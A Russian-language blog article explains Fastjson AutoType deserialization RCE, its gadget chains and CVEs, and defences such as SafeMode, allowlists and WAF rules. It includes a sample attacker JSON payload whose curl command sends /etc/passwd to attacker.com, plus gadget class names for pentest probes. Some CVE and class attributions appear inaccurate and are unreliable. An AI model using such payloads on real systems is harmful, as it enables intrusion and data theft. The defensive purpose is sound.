RCE-уязвимость в Fastjson: эксплуатация через десериализацию и защита

📋 Кратко

Fastjson — популярная Java-библиотека от Alibaba для работы с JSON. Однако из-за особенностей десериализации и механизма AutoType она неоднократно становилась целью атак, приводящих к удалённому выполнению кода (RCE). В статье разбирается, как злоумышленники эксплуатируют уязвимости, какие версии под угрозой, и какие меры защиты (обновление, SafeMode, белые списки) помогут избежать компрометации.

⏱ 5 минут чтениясложность

Fastjson уже много лет остаётся одной из самых популярных библиотек для работы с JSON в экосистеме Java. Её скорость и удобство привлекли тысячи разработчиков, но вместе с популярностью пришли и проблемы безопасности. Начиная с 2017 года в Fastjson регулярно находят критические уязвимости, позволяющие выполнить произвольный код на сервере через специально сформированный JSON-пакет. В этой статье мы разберём, как работают такие атаки, какие CVE стоит знать и как защитить свои приложения.

Цифровой шторм вокруг уязвимости в Fastjson
Цифровой шторм вокруг уязвимости в Fastjson

🔍 Что такое Fastjson и почему он опасен?

Fastjson — это библиотека для сериализации и десериализации JSON в Java, разработанная Alibaba. Она поддерживает автоматическое преобразование JSON в объекты Java с помощью механизма AutoType: если в JSON указано поле @type, Fastjson пытается создать экземпляр указанного класса. Это удобно при работе с полиморфизмом, но открывает дверь для атак, если данные поступают от ненадёжного источника.

Опасный механизм AutoType вскрыт как ловушка
Опасный механизм AutoType вскрыт как ловушка

Опасность заключается в том, что злоумышленник может указать в @type имя класса, который при создании или десериализации выполняет опасные действия — например, запускает системную команду, открывает сетевое соединение или загружает файл. Такие цепочки классов называют gadget chains (цепочки гаджетов).

Важно: Уязвимости в Fastjson — это не ошибки в самой библиотеке, а последствия её дизайна, позволяющего десериализовать произвольные классы. Даже если в Fastjson нет прямого бага, attacker может использовать классы из других библиотек (например, commons-collections, spring-aop) как гаджеты.

⚙️ Как работает RCE-эксплуатация через десериализацию

Для эксплуатации уязвимости злоумышленнику необходимо отправить на сервер JSON-запрос, содержащий поле @type с именем вредоносного класса, и передать параметры, необходимые для инициализации этого класса. При обработке Fastjson создаёт объект указанного типа, что может запустить цепочку вызовов, приводящую к выполнению команды.

Злоумышленник запускает смертоносную цепочку вызовов
Злоумышленник запускает смертоносную цепочку вызовов

Упрощённый пример (псевдокод на Java):

// JSON от атакующего
{
  "@type": "org.example.EvilClass",
  "command": "curl http://attacker.com/steal?data=$(cat /etc/passwd)"
}

Если EvilClass имеет сеттер setCommand(), который вызывает Runtime.exec() — код выполнится. В реальных атаках используются классы из популярных библиотек, которые имеют побочные эффекты при десериализации (например, JdbcRowSetImpl из JNDI, TemplateImpl из Apache Commons).

Цепочки гаджетов (gadget chains)

Для успешной атаки нужно, чтобы в classpath приложения присутствовала библиотека, содержащая подходящий гаджет. Самые известные цепочки:

  • JNDI — через com.sun.rowset.JdbcRowSetImpl можно загрузить удалённый класс по JNDI-ссылке (атака типа Log4Shell).
  • Apache Commons Collectionsorg.apache.commons.collections.Transformer и последующие модификации.
  • Springorg.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator.

Список известных гаджетов постоянно растёт, и разработчики Fastjson добавляют новые классы в чёрный список, но обходные пути появляются снова.

🎯 Реальные CVE и техники обхода AutoType

За годы существования Fastjson было зарегистрировано несколько десятков CVE, связанных с RCE. Наиболее значимые:

ОБХОД ЗА ОБХОДОМ
ОБХОД ЗА ОБХОДОМ
  • CVE-2017-18349 — первая массовая уязвимость, затрагивает версии до 1.2.24. Позволяла выполнить код через класс JdbcRowSetImpl.
  • CVE-2019-12384 — обход чёрного списка в версиях 1.2.24–1.2.47 с использованием autoTypeSupport.
  • CVE-2020-8840 — ещё один обход, затронул версии до 1.2.62. Использовал класс org.apache.xbean.propertyeditor.JndiConverter.
  • CVE-2022-25845 — одна из последних критических уязвимостей, затрагивает версии до 1.2.83 и 2.0.26. Обход чёрного списка через строковые значения.
Статистика: По данным NVD, CVSS-оценка большинства этих уязвимостей составляет 9.8 (критический уровень). Эксплойты публикуются в открытом доступе в течение нескольких дней после раскрытия.

Каждая новая уязвимость, как правило, обходит предыдущие механизмы блокировки. Разработчики Fastjson сначала вели чёрный список опасных классов, но атакующие находили классы, не попавшие в него. Затем был введён белый список (SafeMode), но по умолчанию AutoType остаётся включённым во многих конфигурациях.

🛡️ Методы защиты: от SafeMode до белых списков

Полностью защититься от атак на Fastjson можно несколькими способами, но самым надёжным считается отказ от использования AutoType там, где это возможно.

Эшелонированная оборона отключает смертельный механизм
Эшелонированная оборона отключает смертельный механизм

1. Обновление до последней версии

Разработчики Fastjson регулярно выпускают патчи. На момент написания статьи актуальные стабильные версии: 1.2.83 (ветка 1.x) и 2.0.26 (ветка 2.x). Установка последней версии закрывает известные уязвимости, но не защищает от будущих — поэтому обновление должно быть частью регулярного процесса управления уязвимостями.

2. Включение SafeMode (Fastjson 2.x)

В версии 2.0 появился режим SafeMode, который полностью отключает механизм AutoType. В этом режиме поле @type игнорируется, и десериализация происходит только на основе заранее заданных типов. Это кардинально снижает поверхность атаки.

// Включение SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);

3. Белые списки разрешённых классов

Если AutoType необходим (например, для работы с полиморфизмом), следует настроить строгий белый список классов, которые разрешено десериализовать. Fastjson поддерживает как глобальный белый список, так и локальный для конкретного парсера.

// Пример белого списка
ParserConfig.getGlobalInstance().addAccept("com.example.myapp.");

Никогда не добавляйте в белый список классы из сторонних библиотек, если они не проверены на безопасность.

4. Валидация входных данных (JSON Schema)

Используйте JSON Schema для проверки структуры и типов данных перед десериализацией. Это не защитит от атак с использованием легальных полей, но отсечёт аномальные запросы с неожиданными @type.

5. Альтернативные библиотеки

Если нет жёсткой привязки к Fastjson, рассмотрите переход на Jackson с корректной конфигурацией (отключение дефолтного типизирования) или Gson. Jackson также имеет уязвимости, но при грамотной настройке (например, ObjectMapper.enableDefaultTyping не рекомендуется) он безопаснее.

✅ Практические рекомендации для разработчиков и администраторов

Для снижения риска эксплуатации RCE-уязвимостей в Fastjson следуйте чек-листу:

Полный цикл защиты от аудита до мониторинга
Полный цикл защиты от аудита до мониторинга
  • Аудит зависимостей: проверьте, какие версии Fastjson используются в ваших проектах. Используйте SCA-инструменты (например, OWASP Dependency-Check) для обнаружения уязвимых версий.
  • Мониторинг CVE: подпишитесь на уведомления NVD или GitHub Advisory для Fastjson. Реагируйте на новые уязвимости в течение 24–48 часов.
  • Тестирование на проникновение: включите в сценарии пентестов проверку десериализации JSON — отправляйте запросы с @type: "java.lang.Runtime" и другими известными гаджетами.
  • Внедрение WAF: настройте Web Application Firewall (например, ModSecurity) на блокировку запросов, содержащих паттерны @type с подозрительными классами (JNDI, Runtime, ProcessBuilder).
  • Логирование и детект: фиксируйте события десериализации с неожиданными типами. Настройте SIEM на корреляцию таких событий с аномальной активностью.

RCE-уязвимости в Fastjson — классический пример компромисса между удобством разработки и безопасностью. Механизм AutoType, задуманный для гибкости, стал главным вектором атак. Единственный надёжный способ защиты — минимизация использования динамической десериализации, строгий контроль версий и регулярное обновление. Помните: безопасность Java-приложений начинается с управления зависимостями.

В следующей статье мы рассмотрим, как автоматизировать поиск уязвимостей типа insecure deserialization с помощью инструментов OWASP и коммерческих сканеров.

📚 Читайте также

📖 Термины

CVE (Common Vulnerabilities and Exposures) · OWASP · RCE (Remote Code Execution) · WAF · Десериализация

🔗 Источники